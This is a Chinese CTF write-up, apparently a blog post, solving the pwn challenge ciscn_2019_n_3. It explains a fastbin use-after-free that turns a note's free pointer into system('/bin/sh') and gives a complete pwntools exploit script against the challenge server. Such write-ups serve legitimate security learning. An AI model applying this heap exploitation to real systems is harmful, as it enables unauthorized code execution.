【CTF】【PWN】【胎教向】ciscn_2019_n_3

10 篇文章 2 订阅
3 篇文章 0 订阅

拖进IDA反编译。
程序有三个功能:创建NOTE,删除NOTE,print NOTE
在这里插入图片描述
创建NOTE的时候会先malloc一个固定大小为0xC的chunk。在这里插入图片描述
然后再malloc一个大小自己设置的chunk。
在这里插入图片描述
不难发现,第一个申请的chunk起到控制作用,用来存放每一个NOTE都会有的功能。
在这里插入图片描述
两个chunk之间的关系应该如下图。我们把第一个chunk命名为control,第二个chunk命名为content。control
control块有三个部分,print和free,还有ptr。ptr指向content。
若要printcontent的内容,就调用control里的print。
在这里插入图片描述

若要free这个NOTE,直接调用control里的free。
在这里插入图片描述

在这里插入图片描述
创建NOTE有两个类型,一个是text,一个是int。两个NOTE有不同的点就是free的时候有区别。这是一个利用点!
在这里插入图片描述
free掉int的时候只free了control块。
在这里插入图片描述
free掉text的时候free了control和content两个块。
在这里插入图片描述

思路就已经很明显了。我们把control块的free改成system,然后再把records表里的对应的地址改成/bin/sh。这样我们free掉对应的NOTE时,就相当于system(’/bin/sh’)。
在这里插入图片描述
下面是攻击流程:
先创建一个text类型的NOTE1,大小定义为0xC,这样就会申请出来两个大小都为0xC的chunk.一个control一个content。
然后创建一个int类型的NOTE2。这样申请出来一个control。
再创建一个int类型的NOTE5。申请出来一个control。
再申请一个text类型的NOTE3,只是为了分隔TOPCHUNK。
现在我们的堆分布情况如下:

在这里插入图片描述
然后我们free掉NOTE1,会先free掉content1,然后free掉control。
fastbins的情况应该如下:
在这里插入图片描述
然后我们再free掉NOTE2,只会free掉一个control2.fastbins的情况如下:
在这里插入图片描述
那么这个时候如果我们申请一个text类型的,大小为0xC的NOTE4。会取出control2作为这个NOTE4的control,取出control1作为这个control的content部分。堆块的分布如下:
在这里插入图片描述
如果我们申请的这个NOTE4的内容是system函数,那么就相当于会在control1里面存system函数。但是control1又是NOTE1的控制块,所以就大有可为了。
然后我们再free掉NOTE5,这个时候只会free掉一个control5。这个时候fastbins和堆块分布图如下:
在这里插入图片描述
在这里插入图片描述
虽然图中control5和content1不一样大,但是我们实际上通过控制申请的大小,两者是一样大小的。
这个时候我们再次申请一个NOTE6,就会把control5申请回来做为NOTE6的control,把content1申请回来作为NOTE6的content。这个时候就可以往content1里面填/bin/sh。申请回来还是放在原位置。堆块分布如下:
在这里插入图片描述
可以发现:control1的free部分被改成了system,content1被改成了/bin/sh。
那么我们只需再次free掉NOTE1,便可以达到system(’/bin/sh’)。
代码如下:

from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','26713')
#r=remote('node4.buuoj.cn','26799')
#r=process('./b')
elf=ELF('./b')
context.log_level = 'debug'
libc = ELF("./libc-2.23-32.so")
#context.terminal = ['tmux','splitw','-h']
def add(idx,length,value):
    r.recvuntil("> ")
    r.sendline('1')
    r.recvuntil("> ")
    r.sendline(str(idx))
    r.recvuntil("> ")
    r.sendline('2')
    r.recvuntil("> ")
    r.sendline(str(length))
    r.recvuntil("> ")
    r.sendline(str(value))
def addint(idx,value):
    r.recvuntil("> ")
    r.sendline('1')
    r.recvuntil("> ")
    r.sendline(str(idx))
    r.recvuntil("> ")
    r.sendline('1')
    r.recvuntil("> ")
    r.sendline(str(value))    
def delete(idx):
    r.recvuntil("> ")
    r.sendline('2')
    r.recvuntil("> ")
    r.sendline(str(idx))
def show(idx):
    r.recvuntil("> ")
    r.sendline('3')
    r.recvuntil("> ")
    r.sendline(str(idx))
def purchase():
    r.recvuntil("> ")
    r.sendline('4')
free_got=elf.got['free']
system_plt=elf.plt['system']

add(1,0xC,'aaaa')
addint(2,300)

addint(5,300)
add(3,0x10,'bbbb')
delete(1)
delete(2)
payload='bash'+p32(system_plt)
add(4,0xC,payload)
delete(5)
payload='/bin/sh\x00'
add(6,0xC,payload)
delete(1)
r.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值